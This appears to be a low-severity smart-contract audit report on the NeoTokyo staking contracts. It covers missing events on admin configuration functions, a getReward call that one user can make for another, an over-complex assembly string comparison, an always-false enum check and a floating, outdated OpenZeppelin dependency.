contract BYTES2 is IBytesContract, PermitControl, ERC20("BYTES", "BYTES")

---

Missed events for important events

Violation of standard practices for throwing events at important events. That makes it difficult to catch important actions

contracts/staking/BYTES2.sol

162:	function changeStakingContractAddress
173:	function changeTreasuryContractAddress

contracts/staking/NeoTokyoStaker.sol

1708:	function configureLP
1721:	function lockLP
1737:	function configureTimelockOptions
1760:	function configureIdentityCreditYields
1783:	function configureIdentityCreditPoints 
1802:	function configureVaultCreditMultipliers
1819:	function configurePools
1851:	function configureCaps

Example: User would like to track the moment of the configuration to be the first to stake and get an increased reward for the first blocks, etc.

User would like to know the moment when the administration will change something in order to quickly react to it

Someone can call getReward for another user

A method call by user A for user B may cause user B can to miss out on some benefit (using the windows issue for earning extra rewards as an example)

contracts/staking/BYTES2.sol

114:	function getReward (
115:		address _to
116:	) external {

---

A difficult to understand way of comparing two strings

contracts/staking/NeoTokyoStaker.sol

824:	function _stringEquals (
		string memory _a,
		string memory _b
	) private pure returns (bool) {
		bytes memory a = bytes(_a);
		bytes memory b = bytes(_b);
		
		// Check equivalence of the two strings by comparing their contents.
		bool equal = true;
		assembly {
			let length := mload(a)
			switch eq(length, mload(b))

			// Proceed to compare string contents if lengths are equal. 
			case 1 {
				let cb := 1

				// Iterate through the strings and compare contents.
				let mc := add(a, 0x20)
				let end := add(mc, length)
				for {
					let cc := add(b, 0x20)
				} eq(add(lt(mc, end), cb), 2) {
					mc := add(mc, 0x20)
					cc := add(cc, 0x20)
				} {

					// If any of these checks fails then arrays are not equal.
					if iszero(eq(mload(mc), mload(cc))) {
						equal := 0
						cb := 0
					}
				}
			}

			// By default the array length is not equal so the strings are not equal.
			default {
				equal := 0
			}
		}
		return equal;
	}

Can be replaced by:

    function equal(string memory a, string memory b) internal pure returns (bool) {
        return keccak256(bytes(a)) == keccak256(bytes(b));
    }

---

Condition is always FALSE

The compiler automatically adds checks for the correctness of data transmission. on we transfer a number that is reduced to ENUM, and will not allow the transfer of a number greater than the limit. Therefore, this condition will never be fulfilled due to the check that will be added to the bytecode by the compiler

contracts/staking/NeoTokyoStaker.sol

1205:		if (uint8(_assetType) > 4) {
1206:			revert InvalidAssetType(uint256(_assetType));
1207:		}

1668:		if (.... || uint8(_assetType) > 4) {
1669:			revert InvalidAssetType(uint256(_assetType));
1670:		}

Using an outdated and non-fixed version of OpenZeppelin

package.json

23:  "@openzeppelin/contracts": "^4.3.1",

At the moment, the latest version is 4.8.2, which includes various bug fixes and major optimizations Using a non-fixed version can also cause the bytecode of the deployed contract to differ from what is in the repository